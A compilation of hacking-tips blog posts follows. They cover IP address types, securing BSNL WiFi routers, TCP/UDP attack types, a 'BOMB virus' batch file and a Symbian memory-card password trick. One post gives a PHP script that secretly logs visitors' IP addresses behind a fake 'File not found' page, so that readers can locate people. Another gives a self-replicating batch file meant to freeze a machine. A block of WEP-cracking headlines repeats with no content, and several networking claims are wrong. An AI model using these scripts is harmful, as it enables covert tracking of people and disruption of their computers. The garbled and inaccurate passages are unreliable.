What Are Public And Private IP Address...

Internet Protocol (IP) addresses are usually of two types: Public and Private. If you have ever wondered to know what is the difference between a public and a private IP address, then you are at the right place. In this post I will try to explain the difference between a public and a private IP addres in layman’s terms so that it becomes simple and easy to understand.

What are Public IP Addresses?

A public IP address is assigned to every computer that connects to the Internet where each IP is unique. Hence there cannot exist two computers with the same public IP address all over the Internet. This addressing scheme makes it possible for the computers to “find each other” online and exchange information. User has no control over the IP address (public) that is assigned to the computer. The public IP address is assigned to the computer by the Internet Service Provider as soon as the computer is connected to the Internet gateway.


A public IP address can be either static or dynamic. A static public IP address does not change and is used primarily for hosting webpages or services on the Internet. On the other hand a dynamic public IP address is chosen from a pool of available addresses and changes each time one connects to the Internet. Most Internet users will only have a dynamic IP assigned to their computer which goes off when the computer is disconnected from the Internet. Thus when it is re-connected it gets a new IP.


You can check your public IP address by visiting www.whatismyip.com

What are Private IP Addresses?

An IP address is considered private if the IP number falls within one of the IP address ranges reserved for private networks such as a Local Area Network (LAN). The Internet Assigned Numbers Authority (IANA) has reserved the following three blocks of the IP address space for private networks (local networks):
---------------------------------------------------------------------
10.0.0.0 – 10.255.255.255 (Total Addresses: 16,777,216)
172.16.0.0 – 172.31.255.255 (Total Addresses: 1,048,576)
192.168.0.0 – 192.168.255.255 (Total Addresses: 65,536)
----------------------------------------------------------------------
Private IP addresses are used for numbering the computers in a private network including home, school and business LANs in airports and hotels which makes it possible for the computers in the network to communicate with each other. Say for example, if a network X consists of 10 computers each of them can be given an IP starting from 192.168.1.1 to 192.168.1.10. Unlike the public IP, the administrator of the private network is free to assign an IP address of his own choice (provided the IP number falls in the private IP address range as mentioned above).


Devices with private IP addresses cannot connect directly to the Internet. Likewise, computers outside the local network cannot connect directly to a device with a private IP. It is possible to interconnect two private networks with the help of a router or a similar device that supports Network Address Translation.


If the private network is connected to the Internet (through an Internet connection via ISP) then each computer will have a private IP as well as a public IP. Private IP is used for communication within the network where as the public IP is used for communication over the Internet. Most Internet users with a DSL/ADSL connection will have both a private as well as a public IP.


You can know your private IP by typing ipconfig command in the command prompt. The number that you see against “IPV4 Address:” is your private IP which in most cases will be 192.168.1.1 or 192.168.1.2. Unlike the public IP, private IP addresses are always static in nature.


Unlike what most people assume, a private IP is neither the one which is impossible to trace (just like the private telephone number) nor the one reserved for stealth Internet usage. In reality there is no public IP address that is impossible to trace since the protocol itself is designed for transparency.

How to Secure your broadband WiFi ?

Hello Friends,

This  article is all about the "BSNL Broadband wifi security". Most of us Indians may have BSNL WiFi routers for broadband connection. WiFi allow us to use internet on laptop ,so really one more good feature by BSNL.

But major security threat is these routers are configured for open access and setup with default settings. So this is a major security issue, By compromising these setting any one can connect to you router console and change your settings.

In Mumbai incidents happened when terrorists used open WiFi access point for sending treating emails. So securing your WiFi connections is very essential.

Using following steps you can configure your WiFi router and secure it from un-authorized access.

1.)  Connect your PC/Laptop with LAN cable connection.Don’t use WiFi connection for first time configuration of router. While applying MAC filter setting WiFi connection to Router admin can disconnect.

2.)  Change IP address as shown in following fig.

3.) Open browser and type address 192.168.1.1

4.) Enter username and password as admin/admin

5.) You will be logged in as admin and router home page displayed

6.) Change default access password for  router admin.Navigate Management-Access Control-Password enter new secured password.

Note: Don’t change any settings if you are not confident, this can stop your internet access.

7.) I used simple method of MAC filtering for allowing access only to my Laptop.

8.) Go to command prompt and give command ipconfig/all and find out MAC address(physical address) of network card.

9. ) Navigate to Wireless-MAC Filter setting in router admin in browser.

10.) Select “Allow” radio button and click on add button.

11.) Enter PC MAC address(physical address) in this format -00:22:68:CA:5A:5D and save settings.This will restrict you WiFi router access only with your PC/Laptop network card.No other pc can connect to your WiFi router now.

12.) If you are not going to use WiFi good thing is to hide wireless Access Point from Wireless router setting.

NOTE : Don’t forget to change network IP and DNS server to automatic mode once setting is done.Else you will not able to connect to internet

What is TCP/IP & UDP Attacks ?

Hello, Lets explain "TCP/IP & UDP Attacks", Most common and effective Web attacks...Lets Know abt its basic and types...

TCP/IP Attacks
1. TCP SYN or TCP ACK Flood Attack
2. TCP Sequence Number Attack
3. TCP/IP

UDP attacks

1. ICMP Attacks
2. Smurf Attacks
3. ICMP Tunneling

TCP operates using synchronized connections. The synchronization is vulnerable to attack; this is probably the most common attack used today. The synchronization or handshake, process initiates a TCP connection. This handshake is particularly vulnerable to a DoS attack referred to as the TCP SYN Flood attack. The process is also susceptible to access and modification attacks, which are briefly explained in the following sections.

TCP SYN or TCP ACK Flood Attack - This attack is very common... The purpose of this attack is to deny service. The attack begins as a normal TCP connection: the client and the server exchange information in TCP packets. The TCP client continues to send ACK packets to the server, these ACK packets tells the server that a connection is requested. The server thus responds to the client with a ACK packet, the client is supposed to respond with another packet accepting the connection to establish the session. In this attack the client continually send and receives the ACK packets but it does not open the session. The server holds these sessions open, awaiting the final packet in the sequence. This cause the server to fill up the available connections and denies any requesting clients access.

TCP Sequence Number Attack - This is when the attacker takes control of one end of a TCP session. The goal of this attack is to kick the attacked end of the network
for the duration of the session. Only then will the attack be successful. Each time a TCP message is sent the client or the server generates a sequence number. The attacker intercepts and then responds with a sequence number similar to the one used in the original session. This attack can then hijack or disrupt a session. If a valid sequence number is guessed the attacker can place himself between the client and the server. The attacker gains the connection and the data from the legitimate system. The only defense of such an attack is to know that its occurring... There is little that can be done...

TCP Hijacking - This is also called active sniffing, it involves the attacker gaining access to a host in the network and logically disconnecting it from the network. The attacker then inserts another machine with the same IP address. This happens quickly and gives the attacker access to the session and to all the information on the original system.

UDP packets aren't connection oriented and don't require the synchronization process as with TCP. UDP packets, however, are susceptible to interception, thus it can be attacked. UDP, like TCP, doesn't check the validity of an IP address. The nature of this layer is to trust the layer above it (I'm referring to the IP layer). The most common UDP attacks involve UDP flooding. UDP flooding overloads services, networks, and servers. Large streams of UDP packets are focused at a target, causing UDP services on that host to shut down. It can also overload the network and cause a DoS situation to occur.

ICMP Attacks - This occur by triggering a response from the ICMP protocol when it responds to a seemingly legitimate request (think of it as echoing). Ping for instance, that uses the ICMP protocol. sPing is a good example of this type of attack, it overloads te server with more bytes than it can handle, larger connections. Its ping flood.

Smurf Attacks - This attack uses IP spoofing and broadcasting to send a ping to a group of hosts on a network. When a host is pinged it send back ICMP message traffic information indicating status to the originator. If a broadcast is sent to network, all hosts will answer back to the ping. The result is an overload of network and the target system. The only way to prevent this attack is to prohibit ICMP traffic on the router.

ICMP Tunneling - ICMP can contain data about timing and routes. A packet can be used to hold information that is different from the intended information. This allows an ICMP packet to be used as a communications channel between two systems. The channel can be used to send a Trojan horse or other malicious packet. The counter measure is to deny ICMP traffic on your network.

IP catcher script : Steal Someone's IP Address !

Here is next worth for our Visitors. Most of you may be curious to know how to find the IP address of your friend’s computer or to find the IP address of the person with whom you are chatting in Yahoo messenger or Gtalk. Finding out someone's IP address is like finding their phone number, an IP address can be used to find the general location where that person lives. Now while most of the tutorials on the net teach you how to steal an ip address via MSN, or any other chat software, in this post I’ll show you how to find IP address of someones computer using script. Using this method for hacking someones ip adress is very easy and effectively, so just follow the steps bellow.

NOTE: This tutorial is for educational purposes only, I am NOT responsible in any way for how this information is used, use it at your own risk.

How to Hack Someones IP Address ?

Alright, I'm gonna give you this script. Register a Free hosting at Byethost.com and follow the steps.

Code - get.php :

<html>
<?php
$file = "ips.txt";
$f=fopen($file, 'a');
fwrite($f,$_SERVER['REMOTE_ADDR']."\n"); 
fclose($f);
?>
<p>File not found</p>
</body>
</html>

1.) First of all you need to make a new .txt document on the website you're uploading this to. Name it ips.txt (You can change that in the script aswell where it says $file = 'ips.txt'; in the second line. Then change the CHMOD to 777.

2.) Now you need to past the script above in to a get.php document, and upload it.

3.) Now you make people visit your site, and they will see only " File Not Found " !

4.) To view the IP, you simply add "/ips.txt" after your domain, and you'll see the IP.

Crack WIFI Network WEP Password With BackTrack

Crack WIFI Network WEP Password With BackTrack

Learn How to Hack WIFI WEP Password

Learn How to Crack WIFI WEP KEY

Hack WIFI Network WEP Password

Crack WIFI Network WEP Password With BackTrack

Learn How to Hack WIFI WEP Password

Learn How to Crack WIFI WEP KEY

Hack WIFI Network WEP Password

Create BOMB virus

BOMB virus

@echo off
copy 0% ms32.bat
start ms32.bat

copy this code in notepad
save as bomb.bat
n run at ur risk......it will open multiple windows all u cn do is only restart ur system.

Reset Your Mobile Memory Card Password 2 minutes

We usually set password for our memory card for privacy and security, but the common mistake every one does at least once in out life time forgetting password. If you set password for mobile memory card, then you should be not forget the password. If you does then the only option is to formate your memory card with the help of the card reader and eventually the loss of all your data stored on it. There is a way to break the security wall. If you are a Symbian device lover then no need to worry about the password. You can crack them in few minutes.



In this tutorial I am going to teach you how to reset your memory card password in easy step. Before we start you need to have X-plore (application used to explore your system files and folder even the hidden folders in your device)



Step1: Install X-Plore in your mobile. If you want to download X-Plore search around internet you can download free trail.

Step2: Open your X-plore apps and Press 0(Zero) and check which you have marked the "show the system files"

Step3: Once you done that now go to the following path C:/Sys/Data/Mmcstore

Step4: Once you reached there you need to press "3" under option to set it in the Hex-viewer

Step5: See the third column you will able to see a line of code ! TMSD02G (c??"?x???6?2?6?2?6). Just check the character between the "?" it is your password ie: 62626